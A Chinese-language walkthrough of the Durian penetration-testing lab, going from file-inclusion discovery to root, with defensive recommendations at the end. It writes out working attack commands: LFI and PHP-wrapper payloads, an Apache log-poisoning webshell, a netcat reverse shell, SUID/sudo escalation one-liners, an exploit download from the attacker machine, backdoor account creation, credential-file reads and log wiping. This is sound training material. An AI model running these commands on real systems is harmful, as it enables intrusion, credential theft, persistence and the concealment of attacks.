Durian靶场渗透实战:从文件包含漏洞到Root权限的完整攻击链分析
1. 项目概述一次完整的Web渗透实战复盘最近在安全圈里Durian这个靶场的热度不低很多朋友都在讨论如何通关。我花了些时间从零开始完整地走了一遍渗透流程从最初的信息收集到利用文件包含漏洞拿到Webshell再到内网横向移动最终拿到Root权限。整个过程环环相扣非常考验对Web漏洞原理的理解和综合渗透能力。这篇文章我就来详细拆解一下这次实战的完整思路、操作步骤以及踩过的那些坑希望能给正在学习渗透测试的朋友提供一个清晰的参考路径。无论你是刚入门的新手还是想巩固一下实战流程的老手相信都能从中获得一些启发。Durian靶场模拟了一个存在多处安全缺陷的Web应用环境其核心挑战在于如何串联利用多个漏洞形成一条完整的攻击链。这比单纯地利用一个SQL注入或XSS要复杂得多也更贴近真实的渗透测试场景。接下来我会按照标准的渗透测试流程一步步还原我是如何“拿下”这个靶场的。2. 环境准备与信息收集渗透测试的第一步永远是信息收集信息收集的广度与深度直接决定了后续攻击面的宽度。对于Durian靶场我们首先需要搭建好测试环境。2.1 靶场环境搭建Durian靶场通常以虚拟机镜像如OVA格式的形式提供。我使用VMware Workstation进行导入。导入后将虚拟机的网络适配器设置为“NAT模式”或“桥接模式”。这里我选择了NAT模式因为它能让我攻击机Kali Linux和靶机处于同一个虚拟子网内方便互相访问同时又不会干扰到我的物理主机网络。启动靶机后第一件事是确定它的IP地址。由于靶场通常不会直接显示IP我们需要在攻击机上进行扫描。打开Kali Linux使用经典的netdiscover工具进行主动ARP扫描sudo netdiscover -r 192.168.xxx.0/24请将192.168.xxx.0/24替换为你虚拟机NAT网络的实际网段VMware通常默认为192.168.xxx.0/24。扫描结果中除了你已知的IP如网关、你自己的Kali那个陌生的IP很可能就是Durian靶机。另一种更精准的方式是使用Nmap进行主机发现和端口扫描一步到位sudo nmap -sn 192.168.xxx.0/24找到靶机IP后假设为192.168.xxx.128接下来进行全面的端口和服务探测sudo nmap -sV -sC -O -p- 192.168.xxx.128这个命令会进行全端口扫描-p-探测服务版本-sV使用默认脚本扫描-sC并尝试识别操作系统-O。这是信息收集阶段最核心的命令之一。注意在实际授权测试中全端口扫描-p-可能产生大量流量并触发告警。在靶场环境中可以放心使用但在真实场景需根据测试范围和时间窗口谨慎选择扫描强度。2.2 初步侦察与漏洞初探Nmap扫描结果通常会揭示靶机开放的关键端口。对于Durian常见的开放端口包括80/tcp (HTTP): Web应用入口这是我们的主攻方向。22/tcp (SSH): 可能存在弱口令或密钥泄露是后期提权或持久化的重要通道。其他端口如21FTP、3306MySQL等也可能开放需要留意。首先访问http://192.168.xxx.128。映入眼帘的通常是一个简单的网站界面。这时我们需要使用目录扫描工具来发现隐藏的路径、文件或管理后台。我习惯使用gobuster它速度快字典丰富。gobuster dir -u http://192.168.xxx.128 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt, bak这个命令使用common.txt字典并尝试扫描带有.php,.html,.txt,.bak扩展名的文件。扫描结果中需要特别关注像/admin,/backup,/upload,/include,/config.php这类高价值目标。同时手动浏览网站每个页面查看源代码留意注释信息、JS文件、参数名称等。Burp Suite的Proxy模块要一直开着拦截所有浏览器请求观察参数传递和响应头信息。有时一个不起眼的?pageabout.php参数可能就是文件包含漏洞的入口。3. 漏洞利用文件包含漏洞的发现与利用信息收集后攻击便进入了实质性阶段。根据Durian靶场的设定文件包含漏洞往往是突破口。3.1 理解文件包含漏洞文件包含漏洞通常出现在使用include(),require(),include_once(),require_once()等函数的PHP代码中。当这些函数包含的文件路径由用户输入如$_GET[‘page’]控制且未经过严格过滤时攻击者就可以通过构造特殊路径包含并执行任意文件。主要分为两类本地文件包含可以包含服务器本地的文件如/etc/passwd、Web源码、日志文件等。远程文件包含如果allow_url_include配置为On可以包含远程服务器上的文件如http://attacker.com/shell.txt从而直接执行任意代码。RFI的危害通常更大但现代PHP环境默认已关闭此选项。3.2 探测与验证漏洞点在Durian靶场中漏洞点可能出现在类似index.php?pagenews这样的参数中。我们可以通过以下步骤验证基础测试将参数值改为一个已知存在的本地文件路径进行测试。http://192.168.xxx.128/index.php?page../../../../etc/passwd如果页面显示了/etc/passwd文件的内容则LFI漏洞存在。常见的路径遍历Payload包括../,..\,....//等用于绕过简单的过滤。过滤绕过如果直接使用../被过滤可以尝试编码、双重编码或使用绝对路径。URL编码..%2f..%2fetc%2fpasswd双重URL编码..%252f..%252fetc%252fpasswd绝对路径/etc/passwd(如果Web进程有权限读取)利用PHP封装协议这是LFI漏洞利用的“瑞士军刀”。PHP内置的php://和zip://等协议可以帮我们实现更强大的功能。php://filter用于读取文件源码特别是当包含的文件被直接执行而无法看到源码时。index.php?pagephp://filter/convert.base64-encode/resourceindex.php这个Payload会以Base64编码的形式读取index.php的源代码解码后即可进行代码审计寻找更多漏洞。php://input允许我们将POST请求体中的数据作为PHP代码执行。这需要allow_url_include开启。虽然Durian靶场可能未开启但测试一下无妨。POST /index.php?pagephp://input HTTP/1.1 ... ?php system(id); ?data://同样需要allow_url_include开启可以直接在URL中嵌入Base64编码的代码并执行。index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg在Durian靶场的实战中我首先通过目录扫描发现了一个可疑的端点例如/view.php。通过Burp Suite重放请求修改?file参数尝试包含/etc/passwd成功读取到了系统用户列表确认了LFI漏洞的存在。3.3 通过LFI获取Webshell仅仅读取文件还不够我们的目标是执行系统命令。在无法直接RFI和php://input的情况下常用的方法是利用服务器日志文件注入PHP代码。操作步骤如下寻找可写的日志路径通过LFI漏洞我们可以尝试包含Web服务器的访问日志。常见的路径有/var/log/apache2/access.log/var/log/apache/access.log/var/log/nginx/access.log/usr/local/apache2/logs/access_log通过多次尝试我发现在Durian靶场中/var/log/apache2/access.log是可读的。污染日志文件访问日志会记录每个HTTP请求包括User-Agent头部。我们可以构造一个特殊的HTTP请求将PHP代码写入User-Agent。curl -A ?php system(\$_GET[cmd]); ? http://192.168.xxx.128/这条命令会向靶机首页发起一个请求并将?php system($_GET[cmd]); ?作为User-Agent记录到访问日志中。通过LFI包含日志文件并执行代码现在日志文件中已经包含了一行PHP代码。我们通过已有的LFI漏洞去包含这个日志文件并传递cmd参数。http://192.168.xxx.128/view.php?file/var/log/apache2/access.logcmdid如果一切顺利页面返回中不仅会有日志内容还会执行id命令并输出结果。至此我们获得了远程命令执行的能力。实操心得日志文件通常很大包含后页面可能加载缓慢或混乱。一个技巧是使用tail命令只包含最后几行或者先写入一个简单的?php phpinfo();?测试成功后再写入功能完整的Webshell代码。另外注意日志文件可能被定期轮转rotate如果刚写入的日志被轮转到了access.log.1则需要调整包含的文件路径。4. 权限提升从Webshell到Root获得命令执行能力Webshell只是第一步通常Web服务如www-data用户权限很低。我们需要将权限提升到Root也就是“提权”。4.1 建立稳定连接与信息枚举首先我们需要一个更稳定的交互式Shell。使用Netcat或Bash反弹Shell是标准操作。 在攻击机Kali上监听一个端口nc -lvnp 4444在Webshell中执行反弹命令假设靶机有ncrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.xxx.xxx 4444 /tmp/f将192.168.xxx.xxx替换为你的Kali IP。连接成功后你就获得了一个反向的交互式Shell。接下来进行全面的系统信息枚举寻找提权线索。我通常会运行一系列命令# 查看当前用户和权限 id whoami sudo -l # 查看当前用户可以以sudo方式运行哪些命令这是提权的黄金线索 # 查看系统信息 uname -a # 内核版本 cat /etc/os-release # 发行版信息 hostname # 查看进程和网络连接 ps aux netstat -antp # 查看敏感文件 find / -type f -perm -4000 -ls 2/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找可写目录 cat ~/.bash_history # 查看历史命令可能泄露密码或路径特别注意sudo -l的输出。如果返回类似(ALL : ALL) NOPASSWD: /usr/bin/find的信息意味着当前用户可以无需密码以Root身份运行/usr/bin/find命令这通常可以直接用来提权。4.2 利用SUID/SGID二进制文件提权如果sudo -l没有收获接下来检查SUID文件。SUID位设置的文件在执行时会以文件所有者的身份运行。如果这个文件是Root并且其功能可以被滥用就可能提权。一个经典的例子是find命令。如果find具有SUID位或者通过sudo -l发现可以无密码sudo运行find可以这样提权sudo find / -exec /bin/sh \; -quit # 或者如果find有SUID位 /usr/bin/find . -exec /bin/sh \;执行后你会直接获得一个Root Shell。其他常见的可滥用SUID程序包括vim/vi/nvim:sudo vim -c ‘:!/bin/sh’less/more: 在阅读文件时输入! /bin/shnmap(旧版本):nmap --interactive然后!shbash:bash -p(如果bash有SUID位)在Durian靶场中我通过枚举发现了一个不常见的、具有SUID位的自定义程序或脚本。通过逆向工程或简单测试发现其执行时调用了system()或popen()函数且参数部分可控。通过构造特殊的参数最终实现了命令注入获得了Root权限。4.3 利用内核漏洞提权如果系统版本较旧可能存在公开的内核漏洞。我们可以使用自动化脚本来检测。 在Kali上搜索本地提权漏洞利用代码searchsploit linux kernel ubuntu 16.04 privilege escalation将系统信息如uname -a的结果复制到攻击机进行针对性搜索。找到对应的EXP后将其上传到靶机。在攻击机用Python启动一个简易HTTP服务python3 -m http.server 8000在靶机Shell中用wget或curl下载EXPwget http://192.168.xxx.xxx:8000/exploit.c编译并运行如果是C代码gcc exploit.c -o exploit ./exploit重要注意事项运行内核EXP有风险可能导致系统崩溃靶机无所谓真实环境绝对禁止。务必先在不重要的测试环境中验证。在Durian靶场中我通常优先尝试基于配置错误如sudo、SUID的提权内核漏洞往往是最后的选择。5. 后渗透与痕迹清理拿到Root权限后渗透测试并未完全结束。在授权的渗透测试中我们还需要证明危害的严重性并尝试清理痕迹仅限授权测试。5.1 信息收集与持久化作为Root可以收集最敏感的信息# 查看所有用户和密码哈希 cat /etc/shadow # 查看历史命令所有用户 find /home -name .bash_history -exec cat {} \; # 查看数据库配置文件寻找数据库凭证 find / -name “*.php” -type f -exec grep -l “mysql_connect\|mysqli\|PDO” {} \; 2/dev/null # 查看SSH密钥 cat /root/.ssh/id_rsa cat /home/*/.ssh/id_rsa为了维持访问可以创建后门账户或SSH密钥。添加Root权限用户useradd -m -s /bin/bash -G sudo backdoor然后passwd backdoor。植入SSH公钥将你的公钥cat ~/.ssh/id_rsa.pub追加到/root/.ssh/authorized_keys文件中。5.2 清理访问日志这是授权测试中可选但重要的步骤以模拟高级攻击者的行为。需要清理Apache和Shell历史记录。# 清理Apache日志中与你的IP相关的记录操作前务必备份 IP“你的Kali_IP” sed -i “/${IP}/d” /var/log/apache2/access.log sed -i “/${IP}/d” /var/log/apache2/error.log # 清理当前用户的Shell历史 history -c history -w # 清理所有可能的登录记录如lastlog, wtmp # 注意直接清空这些二进制文件非常可疑更隐蔽的做法是使用专用工具或只删除特定条目但靶场中可以直接 echo “” /var/log/wtmp echo “” /var/log/lastlog # 清除你上传的工具和Webshell rm -f /tmp/exploit /var/www/html/backdoor.php踩坑实录在清理日志时我曾不小心使用了重定向而不是sed -i导致整个日志文件被清空为空。这在真实环境中是一个巨大的“告警信号”因为正常的日志文件不会突然变成0字节。更稳妥的做法是使用sed精确删除特定行或者使用shred等工具安全擦除整个日志文件如果允许。6. 总结与防御建议回顾整个Durian靶场的渗透过程攻击链清晰可见信息收集 - 发现文件包含漏洞 - 利用日志污染获取RCE - 系统枚举 - 利用配置错误SUID/sudo完成提权。每一个环节都利用了不同的安全弱点。对于开发者和运维人员可以从这次实战中汲取以下防御经验杜绝文件包含漏洞白名单过滤对包含的文件名采用严格的白名单机制只允许包含预定义的文件。路径固定避免使用用户输入直接拼接文件路径。如果必须动态包含应使用basename()函数去除目录路径并限定文件所在的基础目录。关闭危险配置确保php.ini中allow_url_include和allow_url_fopen设置为Off。最小权限原则Web服务如www-data应以最低必要权限运行绝不能赋予其sudo权限或运行于高权限账户下。定期审计系统上的SUID/SGID文件使用命令find / -type f -perm /6000 -ls列出所有此类文件移除非绝对必要的SUID/SGID位。安全的sudo配置在/etc/sudoers中避免使用NOPASSWD标签特别是对于可以执行Shell或系统命令的程序如find,vim,less,more,awk等。遵循最小授权原则只授予用户完成特定任务所必需的最少命令权限。输入验证与过滤对所有用户输入GET, POST, Cookie, Header进行严格的验证和过滤不仅针对SQL注入和XSS也要考虑命令注入、路径遍历等。加强日志与监控将Web日志、系统日志集中管理并设置告警规则例如监控对/etc/passwd、/etc/shadow的访问尝试监控异常的User-Agent字符串包含PHP代码监控SUID文件的异常执行等。定期审查日志及时发现入侵迹象。渗透测试的本质是换位思考模拟攻击者的行为来发现自身防御体系的盲点。通过像Durian这样的综合靶场进行练习不仅能熟练掌握各种漏洞利用技术更能深刻理解防御措施的重要性从而在构建系统时就将安全性考虑在内。